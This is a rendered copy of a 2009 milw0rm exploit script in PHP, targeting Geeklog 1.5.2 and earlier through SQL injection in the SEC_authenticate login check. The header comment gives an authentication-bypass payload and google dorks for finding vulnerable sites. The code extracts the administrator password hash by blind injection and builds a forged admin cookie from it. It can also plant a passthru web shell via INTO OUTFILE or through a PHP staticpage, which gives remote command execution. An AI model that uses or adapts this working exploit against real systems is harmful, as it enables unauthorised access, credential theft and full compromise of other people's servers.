Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit by h3m4n

VIEWS: 104 PAGES: 10

									                              Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                  Page 1/10
   1   <?php
   2
   3
   4   /*
   5        Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit
   6        by Nine:Situations:Group::bookoo
   7
   8        our site: http://retrogod.altervista.org/
   9        software site: http://www.geeklog.net/
  10
  11        credit goes to rgod, bug found more than a year ago
  12
  13        working against PHP >= 5.0
  14        google dorks: "By Geeklog" "Created this page in" +seconds +powered
  15                      "By Geeklog" "Created this page in" +seconds +powered inurl:public_html
  16
  17        vulnerability, see /public_html/webservices/atom/index.php near lines 34−53:
  18        ...
  19        require_once ’../../lib−common.php’;
  20
  21        if (PHP_VERSION < 5) {
  22        $_CONF[’disable_webservices’] = true;
  23        } else {
  24            require_once $_CONF[’path_system’] . ’/lib−webservices.php’;
  25        }
  26        if ($_CONF[’disable_webservices’]) {
  27            COM_displayMessageAndAbort($LANG_404[3], ’’, 404, ’Not Found’);
  28        }
  29        header(’Content−type: ’ . ’application/atom+xml’ . ’; charset=UTF−8’);
  30        WS_authenticate();
  31        ...
  32
  33        now WS_authenticate() function in /system/lib−webservices.php near lines 780−877:
  34
  35        ...
  36        function WS_authenticate()
  37        {
  38        global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;
  39
  40        $uid = ’’;
  41        $username = ’’;
  42        $password = ’’;
  43
  44        $status = −1;
  45
  46        if (isset($_SERVER[’PHP_AUTH_USER’])) {
  47            $username = $_SERVER[’PHP_AUTH_USER’];
  48            $password = $_SERVER[’PHP_AUTH_PW’];
  49
  50            if ($WS_VERBOSE) {
  51                COM_errorLog("WS: Attempting to log in user ’$username’");
  52            }
Nine:Situations:Group                                                                                04/09/2009
                             Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                                 Page 2/10
  53        } elseif (!empty($_SERVER[’REMOTE_USER’])) {
  54
  55
  56              list($auth_type, $auth_data) = explode(’ ’, $_SERVER[’REMOTE_USER’]);
  57              list($username, $password) = explode(’:’, base64_decode($auth_data));
  58
  59            if ($WS_VERBOSE) {
  60                 COM_errorLog("WS: Attempting to log in user ’$username’ (via \$_SERVER[’REMOTE_USER’])");
  61            }
  62        } else {
  63            if ($WS_VERBOSE) {
  64                 COM_errorLog("WS: No login given");
  65            }
  66
  67
  68        }
  69
  70        ...
  71
  72        and after, near lines 907−909:
  73
  74        ...
  75         if (($status == −1) && $_CONF[’user_login_method’][’standard’]) {
  76                $status = SEC_authenticate($username, $password, $uid);
  77            }
  78
  79        ...
  80
  81
  82        now open /system/lib−security.php near lines 695−717:
  83
  84        ...
  85            function SEC_authenticate($username, $password, &$uid)
  86        {
  87        global $_CONF, $_TABLES, $LANG01;
  88
  89        $result = DB_query("SELECT status, passwd, email, uid FROM {$_TABLES[’users’]} WHERE username=’$username’ AND ((r
        emoteservice is null) or (remoteservice = ’’))"); //<−−−−−−−−−−−−−−−−−−− SQL INJECTION HERE
  90        $tmp = DB_error();
  91        $nrows = DB_numRows($result);
  92
  93        if (($tmp == 0) && ($nrows == 1)) {
  94            $U = DB_fetchArray($result);
  95            $uid = $U[’uid’];
  96            if ($U[’status’] == USER_ACCOUNT_DISABLED) {
  97                // banned, jump to here to save an md5 calc.
  98                return USER_ACCOUNT_DISABLED;
  99            } elseif ($U[’passwd’] != SEC_encryptPassword($password)) {
  100
  101                 return −1; // failed login
  102             } elseif ($U[’status’] == USER_ACCOUNT_AWAITING_APPROVAL) {
  103                 return USER_ACCOUNT_AWAITING_APPROVAL;
Nine:Situations:Group                                                                                               04/09/2009
                         Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit           Page 3/10
  104         } elseif ($U[’status’] == USER_ACCOUNT_AWAITING_ACTIVATION) {
  105              // Awaiting user activation, activate:
  106              DB_change($_TABLES[’users’], ’status’, USER_ACCOUNT_ACTIVE,
  107                        ’username’, $username);
  108              return USER_ACCOUNT_ACTIVE;
  109         } else {
  110              return $U[’status’]; // just return their status
  111         }
  112     } else {
  113         $tmp = $LANG01[32] . ": ’" . $username . "’";
  114         COM_errorLog($tmp, 1);
  115         return −1;
  116     }
  117     }
  118
  119     ...
  120
  121     you can inject sql code in the ’username’ argument of this function, it may
  122     come from $_SERVER[’PHP_AUTH_USER’] or $_SERVER[’REMOTE_USER’] php
  123     variables.
  124     Theese vars are used for both HTTP Basic and Digest Authentication methods,
  125     see PHP manual:
  126
  127     http://www.php.net/manual/en/features.http−auth.php
  128
  129     manual poc, visit http://host/path_to_geeklog/webservices/atom/index.php
  130     then type:
  131
  132     username: ’ AND 0 UNION SELECT 3,MD5(’AAAA’),null,2 FROM gl_users LIMIT 1/*
  133     password: AAAA
  134
  135     authentication mechanism is bypassed!
  136     Note that it is passed base64_encode()’d !
  137
  138     Now you have access to some dangerous functions:
  139
  140     service_submit_staticpages()
  141     service_delete_staticpages()
  142     service_get_staticpages()
  143     service_getTopicList_staticpages()
  144
  145     in /plugins/staticpages/services.inc.php
  146
  147     service_submit_story()
  148     service_delete_story()
  149     service_get_story()
  150     service_getTopicList_story()
  151
  152     in /system/lib−story.php
  153
  154     ex. the service_submit_staticpages() one allows to specify a dangerous
  155     sp_php flag in submitting "staticpages"; if the staticapages.PHP permission
Nine:Situations:Group                                                                    04/09/2009
                                     Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                                                                               Page 4/10
  156         is set to true for the staticpage admin (not the default), the page will be
  157         evaluated as PHP code.
  158
  159         If not, you can extract the admin hash, then have access to administration
  160         panel by the cookie:
  161
  162         geeklog=[uid]; password=[md5 hash];
  163
  164         set the staticpages.PHP permission to true, then resubmit the ’staticpage’.
  165
  166         Additional notes: Speed time limit is evaded by this script in submitting
  167         login credentials/semi−blind queries.
  168         If private folders are placed inside the www path (ex. when then public_html
  169         path is visible inside urls) you could see the geeklog error.log with sql
  170         errors, so disclose the table prefix, if not the default; ex, truncate the
  171         url, replacing public_html/ with logs/error.log and you coukd also disclose
  172         the local path by visiting ex. http://host/path/system/pear/Archive/Tar.php
  173         http://host/path/system/classes/syndication/parserfactory.class.php
  174   */
  175
  176
  177         $err[0] = "[!] This script is intended to be launched from the cli!";
  178         $err[1] = "[!] You need the curl extesion loaded!";
  179
  180         if (php_sapi_name() <> "cli") {
  181             die($err[0]);
  182         }
  183         if (!extension_loaded(’curl’)) {
  184             $win = (strtoupper(substr(PHP_OS, 0, 3)) === ’WIN’) ? true :
  185             false;
  186             if ($win) {
  187                 !dl("php_curl.dll") ? die($err[1]) :
  188                 nil;
  189             } else {
  190                 !dl("php_curl.so") ? die($err[1]) :
  191                 nil;
  192             }
  193         }
  194
  195         function syntax() {
  196                print (
  197                "Syntax: php ".$argv[0]." [host] [path] [OPTIONS] \n". "Options:                                                    \n". "−−port:[port]        − specify a port
                             \n". "               default−>80                           \n". "−−prefix           − try to extract table prefix from information.schema \n". "
                default−>gl_                        \n". "−−uid:[n]          − specify an uid other than default (2,usually admin) \n". "−−proxy:[host:port] − use proxy
                          \n". "−−skiptest        − skip preliminary tests                    \n". "−−test           − run only tests                         \n". "−−export_shell:[p
        ath] − try to export a shell with INTO OUTFILE, needs Mysql\n". "                     FILE privilege                         \n". "−−sp              − submit a ’staticpage’ wit
        h php code, needs geeklog \n". "                  sp_php permission set to true for thestaticpage \n". "                    plugin (not the default)                 \n". "Ex
        amples: php ".$argv[0]." 192.168.0.1 /geeklog/                      \n". "           php ".$argv[0]." 192.168.0.1 / −−prefix −−proxy:1.1.1.1:8080 \n". "                   php
        ".$argv[0]." 192.168.0.1 / −−prefix −−export_shell:/var/www\n". "                 php ".$argv[0]." 192.168.0.1 / −−prefix −−uid:3");
  198                die();
  199         }
  200

Nine:Situations:Group                                                                                                                                                      04/09/2009
                            Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit   Page 5/10
  201     error_reporting(E_ALL ^ E_NOTICE);
  202     $host = $argv[1];
  203     $path = $argv[2];
  204
  205     $prefix = "gl_";
  206     //default
  207     $uid = "2";
  208     $where = "uid=$uid";
  209
  210
  211     $argv[2] ? print("[*] Attacking...\n") :
  212      syntax();
  213
  214     $_f_prefix = false;
  215     $_use_proxy = false;
  216     $port = 80;
  217     $_skiptest = false;
  218     $_verbose = false;
  219     $_test = false;
  220     $sp_submit = false;
  221     $into_outfile = false;
  222
  223     for ($i = 3; $i < $argc; $i++) {
  224         if (stristr($argv[$i], "−−prefix")) {
  225              $_f_prefix = true;
  226         }
  227         if (stristr($argv[$i], "−−proxy:")) {
  228              $_use_proxy = true;
  229              $tmp = explode(":", $argv[$i]);
  230              $proxy_host = $tmp[1];
  231              $proxy_port = (int)$tmp[2];
  232         }
  233         if (stristr($argv[$i], "−−port:")) {
  234              $tmp = explode(":", $argv[$i]);
  235              $port = (int)$tmp[1];
  236         }
  237
  238         if (stristr($argv[$i], "−−uid")) {
  239             $tmp = explode(":", $argv[$i]);
  240             $uid = (int)$tmp[1];
  241             $where = "uid=$uid";
  242         }
  243         if (stristr($argv[$i], "−−verbose")) {
  244             $_verbose = true;
  245         }
  246         if (stristr($argv[$i], "−−skiptest")) {
  247             $_skiptest = true;
  248         }
  249         if (stristr($argv[$i], "−−test")) {
  250             $_test = true;
  251         }
  252         if (stristr($argv[$i], "−−export_shell:")) {
Nine:Situations:Group                                                               04/09/2009
                             Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                                                        Page 6/10
  253              $tmp = explode(":", $argv[$i]);
  254              $my_path = $tmp[1];
  255              $into_outfile = true;
  256         }
  257         if (stristr($argv[$i], "−−sp")) {
  258             $sp_submit = true;
  259         }
  260     }
  261
  262     function _s($url, $auth, $is_post, $request) {
  263         global $_use_proxy, $proxy_host, $proxy_port;
  264         $ch = curl_init();
  265         curl_setopt($ch, CURLOPT_URL, $url);
  266         if ($is_post) {
  267             curl_setopt($ch, CURLOPT_POST, 1);
  268             curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
  269         }
  270         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  271         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
  272         curl_setopt($ch, CURLOPT_TIMEOUT, 0);
  273
  274         if ($auth <> "") {
  275              $auth = array("Authorization: Basic ".$auth);
  276             curl_setopt($ch, CURLOPT_HEADER, 1);
  277             curl_setopt($ch, CURLOPT_HTTPHEADER, $auth);
  278         }
  279         if ($_use_proxy) {
  280             curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
  281         }
  282         $_d = curl_exec($ch);
  283         if (curl_errno($ch)) {
  284             die("[!] ".curl_error($ch)."\n");
  285         } else {
  286             curl_close($ch);
  287         }
  288         return $_d;
  289     }
  290
  291     function find_prefix() {
  292         global $host, $port, $path, $uid, $pwd, $url;
  293
  294         $_tn = "TABLE_NAME";
  295         $_ift = "information_schema.TABLES";
  296
  297         $_table_prefix = "";
  298         $j = −15;
  299         $usr = "’ AND 0 UNION SELECT null,null,null,null FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
  300         $_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
  301         if (chk_err($_o)) {
  302              die("[!] $_ift not availiable.");
  303         } else {
  304              print "[*] Initiating table prefix extraction...\n";
Nine:Situations:Group                                                                                                                      04/09/2009
                              Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                                                  Page 7/10
  305            }
  306            while (!$null_f) {
  307                $mn = 0x00;
  308                $mx = 0xff;
  309                while (1) {
  310                    if (($mx + $mn) % 2 == 1) {
  311                         $c = round(($mx + $mn) / 2) − 1;
  312                    } else {
  313                         $c = round(($mx + $mn) / 2);
  314                    }
  315
  316                     $usr = "’ AND 0 UNION SELECT 3,MD5(’AAAA’),null,(CASE WHEN (ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN ’’
        ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
  317                     $_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
  318
  319                     if (chk_err($_o)) {
  320                         $mn = $c;
  321                     } else {
  322                         $mx = $c − 1;
  323                     }
  324
  325                        if (($mx−$mn == 1) or ($mx == $mn)) {
  326                            $usr = "’ AND 0 UNION SELECT 3,MD5(’AAAA’),null,(CASE WHEN (ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") TH
        EN ’’ ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
  327                            $_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
  328                            if (chk_err($_o)) {
  329                                  if ($mn <> 0) {
  330                                       $_table_prefix = chr($mn).$_table_prefix;
  331                                  } else {
  332                                       $null_f = true;
  333                                  }
  334                            } else {
  335                                  if ($mx <> 0) {
  336                                       $_table_prefix = chr($mx).$_table_prefix;
  337                                  } else {
  338                                       $null_f = true;
  339                                  }
  340                            }
  341                            if (!$null_f) {
  342                                  print ("[?] Table prefix−>[??]".$_table_prefix."\n");
  343                            }
  344                            break;
  345                        }
  346                   }
  347                   $j−−;
  348             }
  349             print "[?] Table prefix−>".$_table_prefix."\n";
  350             return $_table_prefix;
  351         }
  352
  353
  354       function export_sh() {
Nine:Situations:Group                                                                                                                 04/09/2009
                                  Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                                                                  Page 8/10
  355             global $pwd, $url, $prefix, $my_path;
  356             $usr = "’ AND 0 UNION SELECT null,’<?php passthru(\$_GET[cmd]);?>’,null,null INTO OUTFILE ’".$my_path."/sh.php’ FROM ".$prefix."users L
        IMIT 1/*";
  357             $_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
  358             if (chk_err($_o)) {
  359                 print ("[*] Sql error.");
  360             } else {
  361                 print ("[*] Done.");
  362             }
  363        }
  364
  365        function sp_php() {
  366            global $host, $port, $path, $pwd, $prefix, $uid;
  367
  368             srand(make_seed());
  369             $id = rand(0x1, 0xffffff);
  370             echo "[*] id−>".$id."\n";
  371
  372             $sh = "passthru(\$_GET[cmd]);";
  373
  374               //always specify the namespaceuri
  375               //if the staticpages.PHP permission is not avaliable, sp_php will be resetted to 0
  376               $data = "<?xml version=\"1.0\"?>". "<entry>". "<title term=\"1\" xmlns=\"http://www.geeklog.net/xmlns/app/gl\">\x20\x20\x20\x20</title>". "<id xml
        ns=\"http://www.geeklog.net/xmlns/app/gl\">$id</id>". "<sp_content xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$sh</sp_content>". "<sp_php xmlns=\"http://ww
        w.geeklog.net/xmlns/app/gl\">1</sp_php>". "<gl_etag xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</gl_etag>". "</entry>";
  377
  378             $usr = "’ AND 0 UNION SELECT 3,MD5(’AAAA’),null,$uid FROM ".$prefix."users LIMIT 1/*";
  379             $url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpages";
  380             $out = _s($url, base64_encode($usr.":".$pwd) , 1, $data);
  381
  382             if (chk_err($_o)) {
  383                 print ("[*] Sql error.");
  384             } else {
  385                 print ("[*] Done! Visit−>http://$host:$port".$path."staticpages/index.php?page=$id&cmd=ls%20−la");
  386             }
  387
  388        }
  389
  390        function make_seed() {
  391            list($usec, $sec) = explode(’ ’, microtime());
  392            return (float) $sec + ((float) $usec * 100000);
  393        }
  394
  395        function chk_err($s) {
  396            if (stripos ($s, "\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64\x2e")) {
  397                return true;
  398            } else {
  399                return false;
  400            }
  401        }
  402
  403        $pwd = "AAAA";
Nine:Situations:Group                                                                                                                                     04/09/2009
                                Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit                                                   Page 9/10
  404       $url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpages";
  405
  406       if (!$_skiptest) {
  407           $out = _s($url, base64_encode("’:’") , 0, "");
  408           if (chk_err($out)) {
  409               print("[*] Vulnerable!\n");
  410           } else {
  411               die("[!] Not vulnerable.");
  412           }
  413       }
  414
  415       if ($_test) {
  416           die;
  417       }
  418
  419       if ($_f_prefix == true) {
  420           $prefix = find_prefix();
  421       }
  422
  423       if ($into_outfile == true) {
  424           export_sh();
  425           die;
  426       }
  427       if ($sp_submit == true) {
  428           sp_php();
  429           die;
  430       }
  431
  432        $c = array();
  433        $c = array_merge($c, range(0x30, 0x39));
  434        $c = array_merge($c, range(0x61, 0x66));
  435        $_hash = "";
  436        print ("[*] Initiating hash extraction ...\n");
  437        for ($j = 1; $j < 0x21; $j++) {
  438            for ($i = 0; $i <= 0xff; $i++) {
  439                 $f = false;
  440                 if (in_array($i, $c)) {
  441                       //uid is mediumint, so if you assign a string value to it you have an sql error, so the script fails
        hence true/fails questions and you bypass speed limit also
  442                       $usr = "’ AND 0 UNION SELECT 3,MD5(’AAAA’),null,(CASE WHEN (ASCII(SUBSTR(passwd FROM $j FOR 1))=$i) THEN ’’ ELSE $uid E
        ND) FROM ".$prefix."users WHERE $where LIMIT 1/*";
  443                       $out = _s($url, base64_encode($usr.":".$pwd) , 0, "");
  444                       if (chk_err($out)) {
  445                             $f = true;
  446                             $_hash .= chr($i);
  447                             print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20−$j)."\n";
  448                             break;
  449                       }
  450                 }
  451            }
  452            if ($f == false) {
  453                 die("\n[!] Unknown error ...");
Nine:Situations:Group                                                                                                                    04/09/2009
                               Geeklog 1.5.2 SEC_authenticate SQL Injection Exploit   Page 10/10
  454            }
  455        }
  456        print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";
  457   ?>
  458
  459   # milw0rm.com [2009−04−09]




Nine:Situations:Group                                                                   04/09/2009

								
To top